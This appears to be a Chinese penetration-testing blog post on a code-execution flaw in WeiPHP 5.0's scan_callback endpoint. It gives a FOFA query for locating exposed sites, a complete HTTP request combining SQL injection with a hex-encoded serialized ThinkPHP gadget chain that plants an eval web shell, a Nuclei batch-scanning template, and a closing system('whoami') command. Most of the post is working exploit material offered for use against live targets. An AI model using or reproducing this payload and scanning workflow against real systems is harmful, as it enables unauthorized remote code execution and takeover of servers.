weiphp5.0 scan_callback 代码执行漏洞

渗透技巧 8个月前 admin

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漏洞简介

SPRING HAS ARRIVED

weiphp5.0 scan_callback 存在代码执行漏洞

漏洞复现

SPRING HAS ARRIVED

第一步、使用以下fofa语句进行资产收集…确认测试目标

fofa语句(body="content="WeiPHP" || body="/css/weiphp.css" || title="weiphp" || title="weiphp4.0")

第二步、使用burp抓取数据包发送到Repeater中修改以下数据包进行测试


POST /public/index.php/weixin/Notice/index?img=echo+md5(123);exit(); HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Connection: closeContent-Length: 1340Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip
<xml><product_id>aaaa</product_id><appid>exp</appid><appid>=0) union select 1,2,3,4,5,6,7,0x4f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a323a7b733a393a22002a00617070656e64223b613a313a7b733a333a226c696e223b613a313a7b693a303b733a323a223131223b7d7d733a31373a22007468696e6b5c4d6f64656c0064617461223b613a313a7b733a333a226c696e223b4f3a31333a227468696e6b5c52657175657374223a353a7b733a373a22002a00686f6f6b223b613a323a7b733a373a2276697369626c65223b613a323a7b693a303b723a383b693a313b733a353a226973436769223b7d733a363a22617070656e64223b613a323a7b693a303b723a383b693a313b733a363a226973416a6178223b7d7d733a393a22002a0066696c746572223b613a313a7b693a303b613a323a7b693a303b4f3a32313a227468696e6b5c766965775c6472697665725c506870223a303a7b7d693a313b733a373a22646973706c6179223b7d7d733a393a22002a00736572766572223b733a313a2231223b733a393a22002a00636f6e666967223b613a313a7b733a383a227661725f616a6178223b733a333a22696d67223b7d733a363a22002a00676574223b613a313a7b733a333a22696d67223b733a33303a223c3f70687020406576616c28245f524551554553545b27696d67275d293b223b7d7d7d7d7d7d,9,10,11,12-- </appid><mch_id>aaa</mch_id><nonce_str>aaa</nonce_str><openid>aaa</openid></xml>

第三步、使用md5解密

批量脚本

SPRING HAS ARRIVED

id: weiphp-cms-scan_callback-rce
info:  name: weiphp-cms-scan_callback-rce  author: unknow  severity: critical  description: weiphp5.0 scan_callback 存在代码执行漏洞。  tags: weiphp,rce  metadata:    fofa-query: (body="content="WeiPHP" || body="/css/weiphp.css" || title="weiphp" || title="weiphp4.0")http:  - raw:      - |        POST /public/index.php/weixin/Notice/index?img={{rce}}exit(); HTTP/1.1        Host:         Content-Type: application/x-www-form-urlencoded
        <xml>        <product_id>aaaa</product_id>        <appid>exp</appid>        <appid>=0) union select 1,2,3,4,5,6,7,0x4f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a323a7b733a393a22002a00617070656e64223b613a313a7b733a333a226c696e223b613a313a7b693a303b733a323a223131223b7d7d733a31373a22007468696e6b5c4d6f64656c0064617461223b613a313a7b733a333a226c696e223b4f3a31333a227468696e6b5c52657175657374223a353a7b733a373a22002a00686f6f6b223b613a323a7b733a373a2276697369626c65223b613a323a7b693a303b723a383b693a313b733a353a226973436769223b7d733a363a22617070656e64223b613a323a7b693a303b723a383b693a313b733a363a226973416a6178223b7d7d733a393a22002a0066696c746572223b613a313a7b693a303b613a323a7b693a303b4f3a32313a227468696e6b5c766965775c6472697665725c506870223a303a7b7d693a313b733a373a22646973706c6179223b7d7d733a393a22002a00736572766572223b733a313a2231223b733a393a22002a00636f6e666967223b613a313a7b733a383a227661725f616a6178223b733a333a22696d67223b7d733a363a22002a00676574223b613a313a7b733a333a22696d67223b733a33303a223c3f70687020406576616c28245f524551554553545b27696d67275d293b223b7d7d7d7d7d7d,9,10,11,12-- </appid>        <mch_id>aaa</mch_id>        <nonce_str>aaa</nonce_str>        <openid>aaa</openid>        </xml>
    payloads:      rce:        - "echo+md5(123);"
    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code_1==500 && contains(body_1, "202cb962ac59075b964b07152d234b70") && contains(header_1, "text/html")'
#执行：echo+md5(123);system('whoami');